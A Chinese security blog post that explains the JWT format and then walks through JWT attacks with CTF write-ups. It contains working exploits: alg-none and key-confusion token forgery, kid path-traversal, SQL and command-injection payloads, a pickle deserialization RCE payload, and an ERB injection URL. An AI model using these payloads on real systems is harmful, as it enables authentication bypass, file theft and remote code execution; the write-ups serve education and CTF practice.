JSON Web Token(缩写 JWT)是目前最流行的跨域认证解决方案。
JWT 的原理
JWT 的原理是,服务器 认证以后,生成一个 JSON 对象,发回给用户,就像下面这样。
1 2 3 4 5
{ "姓名": "张三", "角色": "管理员", "到期时间": "2020年7月1日0点0分" }
以后,用户与服务端通信的时候,都要发回这个 JSON 对象。服务器 完全只靠这个对象认定用户身份。为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名(详见后文)。
服务器就不保存任何 session 数据了,也就是说,服务器变成无状态了,从而比较容易实现扩展。
JWT 的数据结构
实际的 JWT 大概就像下面这样。
1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.l0qG4XbJbemqJXsaITaT8g78fkJ-boRvU2H7H1CY644
它是一个很长的字符串,中间用点(.)分隔成三个部分。 JWT 的三个部分依次如下。
1 2 3
Header(头部) Payload(负载) Signature(签名)
Header 部分是一个 JSON 对象,描述 JWT 的元数据,通常是下面的样子。
1 2 3 4
{ "alg": "HS256", "typ": "JWT" }
上面代码中,alg属性表示签名的算法(algorithm),默认是 HMAC SHA256(写成 HS256);typ属性表示这个令牌(token)的类型(type),JWT 令牌统一写为JWT。
最后,将上面的 JSON 对象使用 Base64URL 算法(详见后文)转成字符串
Payload
Payload 部分也是一个 JSON 对象,用来存放实际需要传递的数据。JWT 规定了7个官方字段,供选用。
1 2 3 4 5 6 7
iss (issuer):签发人 exp (expiration time):过期时间 sub (subject):主题 aud (audience):受众 nbf (Not Before):生效时间 iat (Issued At):签发时间 jti (JWT ID):编号
除了官方字段,你还可以在这个部分定义私有字段,下面就是一个例子。
1 2 3 4 5
{ "sub": "1234567890", "name": "John Doe", "admin": true }
注意,JWT 默认是不加密的,任何人都可以读到,所以不要把秘密信息放在这个部分。
这个 JSON 对象也要使用 Base64URL 算法转成字符串。
Signature
Signature 部分是对前两部分的签名,防止数据篡改。
首先,需要指定一个密钥(secret)。这个密钥只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是 HMAC SHA256),按照下面的公式产生签名。
1 2 3 4
HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
算出签名以后,把 Header、Payload、Signature 三个部分拼成一个字符串,每个部分之间用”点”(.)分隔,就可以返回给用户。
Base64URL
前面提到,Header 和 Payload 串型化的算法是 Base64URL。这个算法跟 Base64 算法基本类似,但有一些小的不同。
JWT 作为一个令牌(token),有些场合可能会放到 URL(比如 api.example.com/?token=xxx)。Base64 有三个字符+、/和=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-,/替换成_ 。这就是 Base64URL 算法。
完整token生成
python
token生成
1 2 3 4 5
import jwtkey='secret_key' encoded_jwt=jwt.encode({'username' :'admin' },key,algorithm='HS256' ) print(encoded_jwt) print(jwt.decode(encoded_jwt,key,algorithms='HS256' ))
output
1 2
b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.g0te4fe0-MjFyCTUVOjaq_ipV7em82cF06lzPOq3SkE' {'username' : 'admin' }
JWT 的使用方式
客户端收到服务器返回的 JWT,可以储存在 Cookie 里面,也可以储存在 localStorage。
此后,客户端每次与服务器通信,都要带上这个 JWT。你可以把它放在 Cookie 里面自动发送,但是这样不能跨域,所以更好的做法是放在 HTTP 请求的头信息Authorization字段里面。
1
Authorization: Bearer <token>
另一种做法是,跨域的时候,JWT 就放在 POST 请求的数据体里面。
jwt在线加解密
jwt的在线解密地址: http://jwt.calebb.net/ jwt的在线加解密:地址https://jwt.io/
JWT的攻击方式
一些JWT 漏洞相关的源码: https://github.com/Sjord/jwtdemo/
敏感信息泄露
由于payload是使用base64url编码的,所以相当于明文传输,如果在payload中携带了敏感信息(如存放密钥对的文件路径),单独对payload部分进行base64url解码,就可以读取到payload中携带的信息。
加密算法篡改
空加密算法
JWT支持使用空加密算法,可以在header中指定alg为None
这样的话,只要把signature设置为空(即不添加signature字段),提交到服务器,任何token都可以通过服务器的验证。举个例子,使用以下的字段
1 2 3 4 5 6 7
{ "alg" : "None", "typ" : "jwt" } { "user" : "Admin" }
生成的完整token为
1
ew0KCSJhbGciIDogIk5vbmUiLA0KCSJ0eXAiIDogImp3dCINCn0.ew0KCSJ1c2VyIiA6ICJBZG1pbiINCn0
(header+’.’+payload,去掉了’.’+signature字段)
示例
1 2 3 4 5 6 7 8
import base64def b64urlencode (data) : return base64.b64encode(data).replace('+' , '-' ).replace('/' , '_' ).replace('=' , '' ) payload='{"username":"test"}' header="{\"alg\":\"none\",\"typ\":\"JWT\"}" print b64urlencode(header) + '.' + b64urlencode(payload)+ '.'
或者
1 2 3 4 5 6
import jwtdata={ "username" :"test" } print(jwt.encode(data,"" ,algorithm='none' ))
output
1
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6InRlc3QifQ.
将output的字符串放入到http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php 中
将RS256算法改为HS256
HS256算法使用密钥为所有消息进行签名和验证,对称密码算法。
而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证,非对称密码算法。
如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名。
由于攻击者有时可以获取公钥,因此,攻击者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名。 示例: RSA公钥:http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem
1 2 3 4 5
import jwtpublic = open('public.pem' , 'r' ).read() print publicprint jwt.encode({"data" :"test" }, key=public, algorithm='HS256' )
直接运行如上代码的会报错,pyjwt进行了判断。 jwt/algorithms.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
def prepare_key (self, key) : key = force_bytes(key) invalid_strings = [ b'-----BEGIN PUBLIC KEY-----' , b'-----BEGIN CERTIFICATE-----' , b'-----BEGIN RSA PUBLIC KEY-----' , b'ssh-rsa' ] if any([string_value in key for string_value in invalid_strings]): raise InvalidKeyError( 'The specified key is an asymmetric key or x509 certificate and' ' should not be used as an HMAC secret.' ) return key
prepare_key会判断是否有非法字符,简单粗暴的注释掉
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
def prepare_key (self, key) : key = force_bytes(key) invalid_strings = [ b'-----BEGIN PUBLIC KEY-----' , b'-----BEGIN CERTIFICATE-----' , b'-----BEGIN RSA PUBLIC KEY-----' , b'ssh-rsa' ] return key
运行结果为
1 2 3 4 5 6 7 8 9 10 11
-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqi8TnuQBGXOGx/Lfn4JF NYOH2V1qemfs83stWc1ZBQFCQAZmUr/sgbPypYzy229pFl6bGeqpiRHrSufHug7c 1L CyalyUEP+OzeqbEhSSuUss/XyfzybIusbqIDEQJ+Yex3CdgwC/hAF3xptV/2 t+H6y0Gdh1weVKRM8+QaeWUxMGOgzJYAlUcRAP5dRkEOUtSKHBFOFhEwNBXrfLd76f ZXPNgyN0TzNLQjPQOy/tJ/VFq8CQGE4/K5ElRSDlj4kswxonWXYAUVxnqRN1LGHw 2 G5QRE2D13sKHCC8ZrZXJzj67Hrq5h2SADKzVzhA8AW3WZlPLrlFT3t1+iZ6m+aFKwIDAQAB -----END PUBLIC KEY----- eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjoidGVzdCJ9.c-yX20a99ofP2yImxNn3vMtOgRvYqM4Xs8AZBMZ1aug
爆破HS256密钥
不过对 JWT 的密钥爆破需要在一定的前提下进行:
知悉JWT使用的加密算法
一段有效的、已签名的token
签名用的密钥不复杂(弱密钥)
相关工具:c-jwt-cracker JWTPyCrack
修改KID参数
kid是jwt header中的一个可选参数,全称是key ID,它用于指定加密算法的密钥
1 2 3 4 5
{ "alg" : "HS256", "typ" : "jwt", "kid" : "/home/jwt/.ssh/pem" }
因为该参数可以由用户输入,所以也可能造成一些安全问题。
任意文件读取
kid参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。
1 2 3 4 5
{ "alg" : "HS256", "typ" : "jwt", "kid" : "/etc/passwd" }
SQL注入
kid也可以从数据库中提取数据,这时候就有可能造成SQL注入攻击,通过构造SQL语句来获取数据或者是绕过signature的验证
1 2 3 4 5
{ "alg" : "HS256", "typ" : "jwt", "kid" : "key11111111' || union select 'secretkey' -- " }
命令注入
对kid参数过滤不严也可能会出现命令注入问题,但是利用条件比较苛刻。如果服务器后端使用的是Ruby,在读取密钥文件时使用了open函数,通过构造参数就可能造成命令注入。
1
"/path/to/key_file|whoami"
对于其他的语言,例如php,如果代码中使用的是exec或者是system来读取密钥文件,那么同样也可以造成命令注入,当然这个可能性就比较小了。
修改JKU/X5U参数
JKU的全称是”JSON Web Key Set URL”,用于指定一组用于验证令牌的密钥的URL。类似于kid,JKU也可以由用户指定输入数据,如果没有经过严格过滤,就可以指定一组自定义的密钥文件,并指定web应用使用该组密钥来验证token。
X5U则以URI的形式数允许攻击者指定用于验证令牌的公钥证书或证书链,与JKU的攻击利用方式
例题
[CISCN2019 华北赛区 Day1 Web2]ikun
首页提示 ikun们冲鸭,一定要买到lv6!!! 一直点击下一页,没有找到lv6,写个脚本寻找一下
1 2 3 4 5 6 7 8 9
from time import sleepimport requestsurl="http://fe7b0375-7ea6-429f-bb30-8f39d45b0ab4.node3.buuoj.cn/shop?page=" for i in range(0 ,500 ): r=requests.get(url+str(i)) sleep(0.3 ) if 'lv6.png' in r.text: print(i) break
可以找到lv6在181页中,进去查看后,发现要1145141919.0。随便测试一个test账号,账户余额1000元,远远不足。 尝试抓包修改一下价格或折扣,修改价格时操作失败,修改折扣时,跳转到/b1g_m4mber 页面, 显示只有admin才能访问。
这里使用的是JWT认证,将cookie中的JWT拿去解密https://jwt.io/
可以得知使用的是HS256加密,要伪造的话,这里需要爆破secre的值,或者将alg修改为none,尝试一下。 alg修改为none
1 2 3 4 5 6 7 8 9
import jwtdata={ "username" :"test" } print(jwt.encode(data,"" ,algorithm='none' )) output: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6InRlc3QifQ.
将生成的jwt字符串替换掉cookie原来的jwt,访问服务器报错失败
爆破secret的值 得到secret为1Kun
1 2 3 4 5 6 7 8 9 10
import jwtpayload={ "username" :"admin" } secret="1Kun" print(jwt.encode(payload,secret,algorithm="HS256" )) output: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40 on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1J jQynjo
修改JWT后,成功以admin的身份登录,发现一个unicode加密的字符串 解密后
去lv6的页面源码找了一下,没有发现什么,再去访问一下/b1g_m4mber的页面内,发现了备份源码 Admin.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
class AdminHandler (BaseHandler) : @tornado.web.authenticated def get (self, *args, **kwargs) : if self.current_user == "admin" : return self.render('form.html' , res='This is Black Technology!' , member=0 ) else : return self.render('no_ass.html' ) @tornado.web.authenticated def post (self, *args, **kwargs) : try : become = self.get_argument('become' ) p = pickle.loads(urllib.unquote(become)) return self.render('form.html' , res=p, member=1 ) except : return self.render('form.html' , res='This is Black Technology!' , member=0 )
附上exp
1 2 3 4 5 6 7 8 9 10 11 12 13
import pickleimport urllibclass payload (object) : def __reduce__ (self) : return (eval, ("open('/flag.txt','r').read()" ,)) a = pickle.dumps(payload()) a = urllib.quote(a) print aoutput: c__builtin__%0 Aeval%0 Ap0%0 A%28 S%22 open%28 %27 /flag.txt%27 %2 C%27 r%27 %29. read%28 %29 %22 %0 Ap1%0 Atp2%0 ARp3%0 A.
将生成的payload放到隐藏的输入框里,只需将hidden=”hidden”删除即可
ctfhub
敏感信息泄露
1 2 3 4 5 6 7 8 9
import base64def base64url_decode (s) : return base64.b64decode(s.replace('-' ,'+' ).replace('_' ,'/' ).encode("utf-8" )) if __name__=='__main__' : token = "eyJBRyI6ImZjZGYyOTAzZTIxMmRiYX0iLCJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsIkZMIjoiY3RmaHViezAxYWQxOWE3ZSJ9.-Zt7JBkTZaSi1HZRIqUGmhptnXZtrxw7Druqc4E_wvE" parts = token.split('.' ) for i in range(2 ): print(base64url_decode(parts[i]))
运行结果为
1 2
b'{"AG":"fcdf2903e212dba}","typ":"JWT","alg":"HS256"}' b'{"username":"admin","password":"admin","FL":"ctfhub{01ad19a7e"}'
空加密
将token解密为
1 2
b'{"typ":"JWT","alg":"HS256"}' b'{"username":"admin","password":"admin","role":"guest"}'
将role改为admin,空加密
1 2 3
import jwtpayload={"username" :"admin" ,"password" :"admin" ,"role" :"admin" } print(jwt.encode(payload,"" ,algorithm='none' ))
弱密钥
爆破工具:C语言:https://github.com/brendan-rius/c-jwt-cracker python: https://github.com/Ch1ngg/JWTPyCrack
1 2
s@kali:~/Desktop/tool/c-jwt-cracker$ ./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJndWVzdCJ9.1YHpMZXLB48AMPrbRCRjErGm5QexgDPtLK_Qdcj-ZJk Secret is "czpe"
解密一下token
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
import base64def base64url_decode (s) : return base64.b64decode(s.replace('-' ,'+' ).replace('_' ,'/' ).encode("utf-8" )) def add_equal (string) : length=len(string) remainder=length%4 if remainder==2 : return string+"==" if remainder==3 : return string+"=" return string if __name__=='__main__' : token="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJndWVzdCJ9.1YHpMZXLB48AMPrbRCRjErGm5QexgDPtLK_Qdcj-ZJk" parts = token.split('.' ) for i in range(2 ): part=add_equal(parts[i]) print(base64url_decode(part)) ''' result: b'{"typ":"JWT","alg":"HS256"}' b'{"username":"admin","password":"admin","role":"guest"}' '''
生成token
1 2 3 4 5 6 7 8 9 10 11
import jwtdef encode_token (payload,secret_key,alg) : return jwt.encode(payload,secret_key,algorithm=alg) def decode_token (token,secret_key,alg) : return jwt.decode(token, secret_key=secret_key, verify=False , algorithms=alg) if __name__=='__main__' : payload={"username" :"admin" ,"password" :"admin" ,"role" :"admin" } secret_key="czpe" alg='HS256' print(encode_token(payload,secret_key,alg))
修改签名算法
解密token
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
import base64def base64url_decode (s) : return base64.b64decode(s.replace('-' ,'+' ).replace('_' ,'/' ).encode("utf-8" )) def add_equal (string) : length=len(string) remainder=length%4 if remainder==2 : return string+"==" if remainder==3 : return string+"=" return string if __name__=='__main__' : token="eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6Imd1ZXN0In0.dx5pLYvXC6TXjA75dycVHPwNyPHCqbKBvCccRcA-8zKG6Qb0tfj0l7YoUJl7tvukT-dTZXMoCXnrdT3RlAuI_YqErZ-HYjfeSAt6KvRqrATYFlcBIZg2EAHG0XPQl7nkndX9jDNVrb0Xi4pxOAkBxxgNAUK-TY2OoKXU6DBpU2O8JmAh9x2kTjoyCBG2g-uTzyCjfVx6xx6NDYU_orvqU23g9eRqd7nbWj8mBpqejRoeBF1qfui5q61H4XFcotdg8WKkAs2UkyInUOggditC5J0F59iR8dMJkcszkH2-OZU9JrGVa9As3OsXWz9PYVAVx9yKSE_JDNLXRrAswCRKNA" parts = token.split('.' ) for i in range(2 ): part=add_equal(parts[i]) print(base64url_decode(part)) ''' result: b'{"typ":"JWT","alg":"RS256"}' b'{"username":"admin","role":"guest"}' '''
一开始直接赋值publickey.pem的内容到本地文件,生成的token得不到flag; 直接在浏览器右键保存publickey.pem,能得到flag
1 2 3 4 5 6 7 8 9 10 11 12 13
import jwtdef encode_token (payload,secret_key,alg) : return jwt.encode(payload,secret_key,algorithm=alg) def decode_token (token,secret_key,alg) : return jwt.decode(token, secret_key=secret_key, verify=False , algorithms=alg) if __name__=='__main__' : payload={"username" :"admin" ,"role" :"admin" } secret_key=open("publickey.pem" ,'r' ).read() alg='HS256' print(encode_token(payload,secret_key,alg))
[HFCTF2020]EasyLogin
随便注册一个账户密码,登入后发现有看到有get flag,但是没有权限读取。
F12查看源码,在source里看到static/js/app.js,提示静态路径设置不当,导致可任意访问服务端源码
1 2 3 4
/** * 或许该用 koa-static 来处理静态文件 * 路径该怎么配置?不管了先填个根目录XD */
尝试访问/app.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
const Koa = require ('koa' );const bodyParser = require ('koa-bodyparser' );const session = require ('koa-session' );const static = require ('koa-static' );const views = require ('koa-views' );const crypto = require ('crypto' );const { resolve } = require ('path' );const rest = require ('./rest' );const controller = require ('./controller' );const PORT = 3000 ;const app = new Koa();app.keys = [crypto.randomBytes(16 ).toString('hex' )]; global.secrets = []; app.use(static (resolve(__dirname, '.' ))); app.use(views(resolve(__dirname, './views' ), { extension: 'pug' })); app.use(session({key : 'sses:aok' , maxAge : 86400000 }, app)); app.use(bodyParser()); app.use(rest.restify()); app.use(controller()); app.listen(PORT); console .log(`app started at port ${PORT} ...` );
从require文件包含知道还有controller.js和rest.js的文件
1 2
const rest = require('./rest'); const controller = require('./controller');
rest.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
module .exports = { APIError: function (code, message ) { this .code = code || 'internal:unknown_error' ; this .message = message || '' ; }, restify: () => { const pathPrefix = '/api/' ; return async (ctx, next) => { if (ctx.request.path.startsWith(pathPrefix)) { ctx.rest = data => { ctx.response.type = 'application/json ' ; ctx.response.body = data; }; try { await next(); } catch (e) { ctx.response.status = 400 ; ctx.response.type = 'application/json' ; ctx.response.body = { code: e.code || 'internal_error' , message: e.message || '' }; } } else { await next(); } }; } };
controller.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
const fs = require ('fs' );function addMapping (router, mapping ) { for (const url in mapping) { if (url.startsWith('GET ' )) { const path = url.substring(4 ); router.get(path, mapping
); } else if (url.startsWith('POST ' )) { const path = url.substring(5 ); router.post(path, mapping
); } else { console .log(`invalid URL: ${url} ` ); } } } function addControllers (router, dir ) { fs.readdirSync(__dirname + '/' + dir).filter(f => { return f.endsWith('.js' ); }).forEach(f => { const mapping = require (__dirname + '/' + dir + '/' + f); addMapping(router, mapping); }); } module .exports = (dir ) => { const controllers_dir = dir || 'controllers' ; const router = require ('koa-router' )(); addControllers(router, controllers_dir); return router.routes(); };
从module.exports = (dir)
模块导入中得知,还有controllers目录,以及api的接口请求,猜测有/controllers/api.js文件,访问可得
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
const crypto = require ('crypto' );const fs = require ('fs' )const jwt = require ('jsonwebtoken' )const APIError = require ('../rest' ).APIError;module .exports = { 'POST /api/register' : async (ctx, next) => { const {username, password} = ctx.request.body; if (!username || username === 'admin' ){ throw new APIError('register error' , 'wrong username' ); } if (global.secrets.length > 100000 ) { global.secrets = []; } const secret = crypto.randomBytes(18 ).toString('hex' ); const secretid = global.secrets.length; global.secrets.push(secret) const token = jwt.sign({secretid, username, password}, secret, {algorithm : 'HS256' }); ctx.rest({ token: token }); await next(); }, 'POST /api/login' : async (ctx, next) => { const {username, password} = ctx.request.body; if (!username || !password) { throw new APIError('login error' , 'username or password is necessary' ); } const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization; const sid = JSON .parse(Buffer.from(token.split('.' )[1 ], 'base64' ).toString()).secretid; console .log(sid) if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0 )) { throw new APIError('login error' , 'no such secret id' ); } const secret = global.secrets[sid]; const user = jwt.verify(token, secret, {algorithm : 'HS256' }); const status = username === user.username && password === user.password; if (status) { ctx.session.username = username; } ctx.rest({ status }); await next(); }, 'GET /api/flag' : async (ctx, next) => { if (ctx.session.username !== 'admin' ){ throw new APIError('permission error' , 'permission denied' ); } const flag = fs.readFileSync('/flag' ).toString(); ctx.rest({ flag }); await next(); }, 'GET /api/logout' : async (ctx, next) => { ctx.session.username = null ; ctx.rest({ status: true }) await next(); } };
生成token
1 2 3
const jwt = require ('jsonwebtoken' ) token = jwt.sign({secretid :[], username :'admin' , password :'123456' }, '' , {algorithm : 'none' }); console .log(token)
抓取登入框的包,并添加token。
请求flag
[SCTF2019]Flag Shop
buy flag是购买flag,但是要求你的钱要到1e+27才行,work可以加钱,reset重置。审查页面元素没什么思路,发现robots.txt。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
require 'sinatra' require 'sinatra/cookies' require 'sinatra/json' require 'jwt' require 'securerandom' require 'erb' set :public_folder , File.dirname(__FILE__ ) + '/static' FLAGPRICE = 1000000000000000000000000000 ENV["SECRET" ] = SecureRandom.hex(64 ) configure do enable :logging file = File.new(File.dirname(__FILE__ ) + '/../log/http.log' ,"a+" ) file.sync = true use Rack::CommonLogger, file end get "/" do redirect '/shop' , 302 end get "/filebak" do content_type :text erb IO.binread __FILE__ end get "/api/auth" do payload = { uid: SecureRandom.uuid , jkl: 20 } auth = JWT.encode payload,ENV["SECRET" ] , 'HS256' cookies[:auth ] = auth end get "/api/info" do islogin auth = JWT.decode cookies[:auth ],ENV["SECRET" ] , true , { algorithm: 'HS256' } json({uid: auth[0 ]["uid" ],jkl: auth[0 ]["jkl" ]}) end get "/shop" do erb :shop end get "/work" do islogin auth = JWT.decode cookies[:auth ],ENV["SECRET" ] , true , { algorithm: 'HS256' } auth = auth[0 ] unless params[:SECRET ].nil ? if ENV["SECRET" ].match("#{params[:SECRET ].match(/[0-9a-z]+/ )} " ) puts ENV["FLAG" ] end end if params[:do ] == "#{params[:name ][0 ,7 ]} is working" then auth["jkl" ] = auth["jkl" ].to_i + SecureRandom.random_number(10 ) auth = JWT.encode auth,ENV["SECRET" ] , 'HS256' cookies[:auth ] = auth ERB::new("<script>alert('#{params[:name ][0 ,7 ]} working successfully!')</script>" ).result end end post "/shop" do islogin auth = JWT.decode cookies[:auth ],ENV["SECRET" ] , true , { algorithm: 'HS256' } if auth[0 ]["jkl" ] < FLAGPRICE then json({title: "error" ,message: "no enough jkl" }) else auth << {flag: ENV["FLAG" ]} auth = JWT.encode auth,ENV["SECRET" ] , 'HS256' cookies[:auth ] = auth json({title: "success" ,message: "jkl is good thing" }) end end def islogin if cookies[:auth ].nil ? then redirect to('/shop' ) end end
定位到/work路由下,存在name如果和do参数所传得参数相同时即可返回jwt所用得key.
1
/work?SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working
之后就是用Jwt解密网站搞一下金钱,买flag. 查看返回得cookie,就拿到了flag.
其他做法: HTTP参数传递类型差异产生的攻击面
参考文章:JSON Web Token 入门教程 攻击JWT的一些方法 JSON Web Token (JWT) 攻击技巧 Attacking JWT authentication Json Web Token历险记 JWT安全与实战
FROM :blog.cfyqy.com | Author:cfyqy
评论